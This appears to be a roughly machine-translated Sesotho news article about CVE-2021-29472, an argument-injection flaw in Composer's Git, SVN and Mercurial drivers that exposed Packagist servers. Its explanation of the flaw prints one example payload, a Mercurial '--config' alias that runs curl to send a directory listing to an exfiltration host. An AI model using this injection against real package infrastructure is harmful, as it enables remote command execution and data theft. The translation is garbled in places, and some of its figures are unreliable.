Kotsi ho mookameli oa sephutheloana sa Composer e lumellang ho sekisetsa ha polokelo ea Packagist PHP.

Ho na le ts'oaetso e kholo (CVE-2021-29472) e khethiloe ho molaoli oa ho itšetleha ka Moqapi ea lumellang hore ho etsoe litaelo tse sa reroang ho sistimi ha ho sebetsa sephutheloana se nang le boleng bo hlophisitsoeng ka ho khetheha ba URL bo hlalosang aterese bakeng sa ho khoasolla khoutu ea mohloli. Bothata bo hlaha likarolong tsa GitDriver, SvnDriver, le HgDriver tse sebelisoang ha ho sebelisoa mekhoa ea ho laola mohloli oa Git, Subversion, le Mercurial. Kotsi e rarollotsoe ho Composer litokollo tsa 1.10.22 le 2.0.13.

Ho hlokomeloa ka ho hlaka hore taba ena e amme haholo polokelo ea sephutheloana sa Composer, Packagist, e nang le liphutheloana tse 306 bakeng sa bahlahisi ba PHP mme e sebeletsa ho khoasolla ho fetang limilione tse likete tse 1.4 ka khoeli. Teko e bonts'itse hore haeba ho ne ho e-na le tsebo ea bothata, bahlaseli ba ne ba ka khona ho laola thepa ea motheo ea Packagist 'me ba hanela lintlha tsa bahlokomeli kapa ba fetisetsa lipakete tsa liphutheloana ho seva sa motho oa boraro, ba hlophisa phano ea liphutheloana tse nang le liphetoho tse mpe ho nkela ntlo e ka morao. nakong ea ts'ebetso ea ho kenya ts'ebetsong.

Kotsi bakeng sa basebelisi ba ho qetela e lekanyelitsoe tabeng ea hore litaba tsa composer.json hangata li khethoa ke mosebedisi, 'me lihokelo tsa mohloli li fetisoa ha u fihlella lipolokelo tsa batho ba bang, tseo hangata li tšepahalang. Kotlo e kholo e ile ea oela polokelong ea Packagist.org le tšebeletso ea Private Packagist, e bitsitseng Composer ka phetisetso ea data e fumanoeng ho basebelisi. Bahlaseli ba ka sebelisa khoutu ea bona ho li-server tsa Packagist ka ho beha sephutheloana se entsoeng ka ho khetheha.

Sehlopha sa Packagist se lokisitse ts'okelo nakong ea lihora tse 12 ka mor'a hore ho tlalehiloe kotsi. Bafuputsi ba ile ba tsebisa baetsi ba Packagist ka lekunutu ka la 22 Mmesa, mme bothata bo ile ba lokisoa ka letsatsi lona leo. Nchafatso ea sechaba ho Composer e sebetsanang le tlokotsi e phatlalalitsoe ka la 27 Mmesa, ka lintlha tse senotsoeng ka la 28 Mmesa. Tlhahlobo ea li-log ho li-server tsa Packagist ha ea ka ea senola ts'ebetso efe kapa efe e belaetsang e amanang le ho ba kotsing.

Bothata bo bakoa ke phoso ho khoutu ea netefatso ea URL ho motso oa composer.json faele le lihokelo tsa ho jarolla mohloli. Phoso e bile teng khoutu ho tloha ka November 2011. Packagist e sebelisa likarolo tse khethehileng ho hlophisa phallo ea khoutu ntle le ho tlamahanngoa le sistimi e itseng ea taolo ea mohloli, e etsoang ka ho bitsa "ho tsoa hoShellCommandline" le ho fetisa likhang tsa mola oa taelo. Mohlala, bakeng sa git, taelo ea "git ls-remote -heads $URL" e bitsoa, ​​moo URL e sebetsoang ho sebelisoa "ProcessExecutor::escape($url)" mokhoa, ho phonyoha meaho e ka bang kotsi joalo ka "$(. ..)" kapa "` ...`".

Moko oa bothata ke hore ProcessExecutor::escape method ha ea ka ea phonyoha tatelano ea “—”, e lumelletseng parameter efe kapa efe ea tlatsetso ea mohala hore e bolelloe ho URL. Ho phonyoha ho joalo ho ne ho le sieo ho bakhanni ba GitDriver.php, SvnDriver.php le HgDriver.php. Tlhaselo ea GitDriver.php e ile ea sitisoa ke taba ea hore taelo ea "git ls-remote" e ne e sa tšehetse ho hlakisa mabaka a eketsehileng ka mor'a tsela. Ho ile ha etsahala hore tlhaselo ea HgDriver.php e khonehe ka ho fetisa "--config" parameter ho "hq" utility, e leng se u lumellang hore u hlophise ho phethahatsoa ha taelo leha e le efe ka ho sebelisa mokhoa oa "alias.identify". Mohlala, ho khoasolla le ho kenya khoutu ka ho sebelisa curl utility, o ka hlakisa: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Ka ho romella sephutheloana sa tlhahlobo se nang le URL e tšoanang ho Packagist, bafuputsi ba netefalitse hore ka mor'a ho romella, seva sa bona se fumane kopo ea HTTP ho e 'ngoe ea li-server tsa Packagist ho AWS e nang le lethathamo la lifaele bukeng ea hona joale.

Source: opennet.ru

Eketsa ka tlhaloso